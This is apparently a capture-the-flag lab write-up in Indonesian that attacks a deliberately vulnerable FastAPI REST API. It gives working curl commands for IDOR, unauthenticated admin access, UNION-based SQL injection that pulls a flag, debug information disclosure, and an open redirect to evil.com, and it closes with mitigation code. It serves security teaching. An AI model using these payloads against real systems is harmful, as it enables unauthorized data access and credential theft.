TDCTF Academy Logo TDCTF ACADEMY

Lab #7 - REST API: IDOR + SQLi + No Auth

Target: http://api.vuln.cybersecurity.or.id:8087/
Versi: FastAPI (Python 3.11), SQLite (aiosqlite)
Tools: curl, jq
Flag: 🔴 FLAG{R3ST_API_IDOR_N0_Auth_2025}


Filosofi Serangan

REST API sering dianggap lebih aman daripada aplikasi web tradisional, tetapi kenyataannya API sama rentannya jika tidak dirancang dengan benar.

Kerentanan yang dieksploitasi:

  1. IDOR (Insecure Direct Object Reference) - akses item yang tidak seharusnya terlihat
  2. No Authentication - endpoint admin terbuka tanpa token
  3. SQL Injection - input tidak difilter
  4. Information Disclosure - debug endpoint membeberkan environment

️ Langkah 1: API Discovery

1.1. Cek Endpoint

curl -s -I http://api.vuln.cybersecurity.or.id:8087/

Output:

server: uvicorn

FastAPI/Uvicorn - framework modern Python.

1.2. Daftar Endpoint yang Ditemukan

Endpoint Method Auth Vuln
/api/items GET SQLi
/api/items/{id} GET IDOR + SQLi
/api/items/create POST Mass Assignment
/api/users GET SQLi
/api/users/{id}/update PUT IDOR
/api/admin/users GET No Auth
/api/login POST SQLi
/api/debug/info GET Info Disclosure
/redirect GET Open Redirect

Langkah 2: IDOR - Akses Item Tersembunyi

2.1. List Public Items

curl -s http://api.vuln.cybersecurity.or.id:8087/api/items

Output - hanya item visible:

{"id":1,"title":"Laptop"},{"id":2,"title":"Buku"},{"id":6,"title":"Meja"},...

Item 3, 4, 5 sengaja disembunyikan (is_visible=0).

2.2. Akses Langsung via ID

Karena tidak ada autentikasi, kita bisa akses item berdasarkan ID:

curl -s http://api.vuln.cybersecurity.or.id:8087/api/items/3
curl -s http://api.vuln.cybersecurity.or.id:8087/api/items/4
curl -s http://api.vuln.cybersecurity.or.id:8087/api/items/5

Output:

{"id":3,"title":"Rahasia Admin","description":"Hanya admin yang lihat","is_visible":0}
{"id":4,"title":"Data Internal","description":"Confidential","is_visible":0}
{"id":5,"title":"Server Config","description":"Credentials inside","is_visible":0}

✅ IDOR berhasil! Item rahasia admin bisa diakses tanpa login.


Langkah 3: No Auth - Admin Users

3.1. Akses Endpoint Admin

curl -s http://api.vuln.cybersecurity.or.id:8087/api/admin/users

Output - semua user termasuk password hash:

[
{"id":1,"username":"admin","password_hash":"admin123","is_admin":1},
{"id":2,"username":"user1","password_hash":"pass123","is_admin":0},
{"id":3,"username":"user2","password_hash":"pass456","is_admin":0}
]

Password hash plaintext - admin:admin123.


Langkah 4: SQL Injection

4.1. SQLi di Search Item

curl -s "http://api.vuln.cybersecurity.or.id:8087/api/items?q='+OR+1=1--"

4.2. UNION - Ekstrak Semua Tabel

curl -s "http://api.vuln.cybersecurity.or.id:8087/api/items?q='+UNION+SELECT+1,name,4,5+FROM+sqlite_master+WHERE+type='table'--"

Output:

{"title":"items"},{"title":"secrets"},{"title":"users"}

4.3. UNION - Ambil Flag

curl -s "http://api.vuln.cybersecurity.or.id:8087/api/items?q='+UNION+SELECT+1,flag,3,4+FROM+secrets--"

Output:

{"title":"FLAG{R3ST_API_IDOR_N0_Auth_2025}"}

Langkah 5: Information Disclosure

5.1. Debug Info

curl -s http://api.vuln.cybersecurity.or.id:8087/api/debug/info

Output - environment variables:

{
"env": {"PATH":"...", "PYTHON_VERSION":"3.11.15", ...},
"cwd": "/app",
"files": ["tmp","boot","proc","var","etc","root",...]
}

Environment variables dan daftar direktori root sistem terbuka!


Langkah 6: Open Redirect

curl -v "http://api.vuln.cybersecurity.or.id:8087/redirect?url=http://evil.com"

Output:

HTTP/1.1 307 Temporary Redirect
Location: http://evil.com

Open redirect untuk phishing.


Kesimpulan

Target: REST API di api.vuln.cybersecurity.or.id:8087
Techniques: IDOR, No Auth, SQLi, Info Disclosure, Open Redirect
Flag: FLAG{R3ST_API_IDOR_N0_Auth_2025}
Durasi: ~3 menit

Urutan serangan:

  1. ✅ IDOR - akses hidden item via ID langsung
  2. ✅ No Auth - endpoint admin tanpa token
  3. ✅ SQLi UNION - ekstrak flag dari tabel secrets
  4. ✅ Debug Info - environment variables bocor
  5. ✅ Open Redirect - potensi phishing

🔥 Pelajaran: REST API butuh autentikasi di setiap endpoint - jangan hanya mengandalkan client-side. Authorisasi juga harus dicek: user A tidak boleh akses data milik user B (IDOR). Selalu validasi input untuk mencegah SQLi.

Cara Mitigasi

# ❌ RENTAN
@app.get("/api/items/{id}")
async def get_item(id: str):
q = f"SELECT * FROM items WHERE id={id}" # SQLi!

# ✅ AMAN (parameterized query)
async def get_item(id: int):
q = "SELECT * FROM items WHERE id=?"
cur = await db.execute(q, (id,))

# ✅ Tambahkan autentikasi + authorisasi
async def get_item(id: int, user: User = Depends(get_current_user)):
cur = await db.execute("SELECT * FROM items WHERE id=? AND owner_id=?", (id, user.id))

Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI